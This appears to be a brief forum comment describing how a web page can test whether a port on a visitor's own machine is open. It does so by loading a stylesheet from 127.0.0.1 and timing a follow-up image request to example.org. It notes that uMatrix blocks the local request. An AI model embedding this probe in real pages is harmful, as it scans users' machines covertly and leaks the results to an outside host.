[cygx]

If you wanted to check if port 42 is open, have a

    <link rel="stylesheet" href="http://127.0.0.1:42">

followed by an

    <img src="http://example.org/?port=42">

The <img> won't be requested until the stylesheet has failed to load, which takes a different amount of time depending on whether there was something listening on that port, or not.

uMatrix won't allow the request to the local machine to go through.